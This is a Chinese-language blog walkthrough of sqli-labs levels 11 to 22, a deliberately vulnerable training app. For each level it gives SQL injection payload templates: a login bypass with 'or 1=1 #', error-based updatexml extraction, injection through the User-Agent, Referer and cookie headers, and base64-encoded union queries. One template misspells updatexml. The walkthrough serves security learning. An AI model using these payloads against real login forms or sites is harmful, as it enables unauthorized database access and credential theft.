sqli-labs (11-20)

Less-11

post传输

使用hackbar构建payload,当输入uname=admin&passwd=admin&submit=Submit时显示:

当输入uname=admin'&passwd=admin&submit=Submit时显示:

输入uname='or 1=1 #&passwd=admin&submit=Submit,仍然显示成功
然后按照之前的order by 步骤进行注入,不过注入方式是post。

注意:在进行post注入的时候注释符用的是“#”而不是“–+”,原因是在get中涉及到了转码的问题,在post中使用“–+”是无效的。

Less-12

与11关基本相同,就是把单引号改为双引号然后加上一个单括号,从而进行注入

模版是uname=" or(此为要构造的) #&passwd=admin&submit=Submit

Less-13

与11关部分相同,给单引号后面加上一个单括号,从而进行注入。但是发现页面只是单纯回显错误或者成功,所以我们可以采用盲注的方法,按照前面所用的时间盲注的方法进行注入。
可以用burpsuit辅助,速度能相对快一点,至于脚本后面会有所提及。

模版是uname=') or(此为要构造的)#&passwd=admin&submit=Submit

Less-14

与第13关基本相同。
模版是uname=" or(此为要构造的)#&passwd=admin&submit=Submit
‘ “ ) 1=1

Less-15

除了注入的位置之外,其它步骤均与上面相同
模版是uname=admin&passwd=' or(此为要构造的) #&submit=Submit

Less-16

与15关基本相同,只需将单引号变为双引号和单括号
模版是:uname=admin&passwd=") or(此为要构造的) #&submit=Submit

Less-17

基础知识补充:

1
2
3
4
updatexml
参考资料:
https://www.jb51.net/article/125599.htm
https://www.jb51.net/article/125607.htm

这一关要以知道用户名字为前提,然后才能进行后面的操作。

模版为: uname=admin&passwd=' and updatexml(1,concat(0x7e,(要构造的)),1) #&submit=Submit

Less-18

此时要使用第17关重新设置的密码进行登录,不然会报错。可以通过数据库的命令行,查看admin对应的密码。

这一关用上面的方法是不可能成功的,页面有显示ip地址和user agent,所以猜想与http头部协议有关,burpsuit用起来。 发现可以在user agent处进行注入。
  • 模版为:' or updatexml(1,concat(0x7e,(要构造的)),1) or '1'='1
  • 模版为: ' or updatexml(1,concat(0x7e,(要构造的)),1),'','')#

Less-19

与18关基本相同。登录成功显示referer信息,登录失败没有回显信息。分析后得知,需要进行闭合操作,两种方法:

  • 模版为:' or updatexml(1,concat(0x7e,(要构造的)),1) and '1'='1
  • 模版为:' or updataxml(1,concat(0x7e,(要构造的)),1),'')#
    然后通过mysql注入语句进行操作即可。

Less-20

这一关显示了很多的信息,经发现可以通过注入cookie。
$sql=”select * from users where username=’$cookie’ limit 0,1”;在登陆之后后台会将username放入cookie中。当再次登陆的时候,只要cookie没有过期,就会去cookie里面取值,然后进行查询。
模版为:' union select 1,2,(要构造的) #

Less-21

与20关基本相似。
模版为:') union select 1,2,(要构造的) #
发现cookie处的username是一串base64编码的字符串。所以需要将mysql注入语句进行base64编码

Less-22

只需将20关中的单引号改为双引号即可,其余全部相似。
模版为:" union select 1,2,(要构造的) #
然后base64编码。

-------------本文结束感谢您的阅读-------------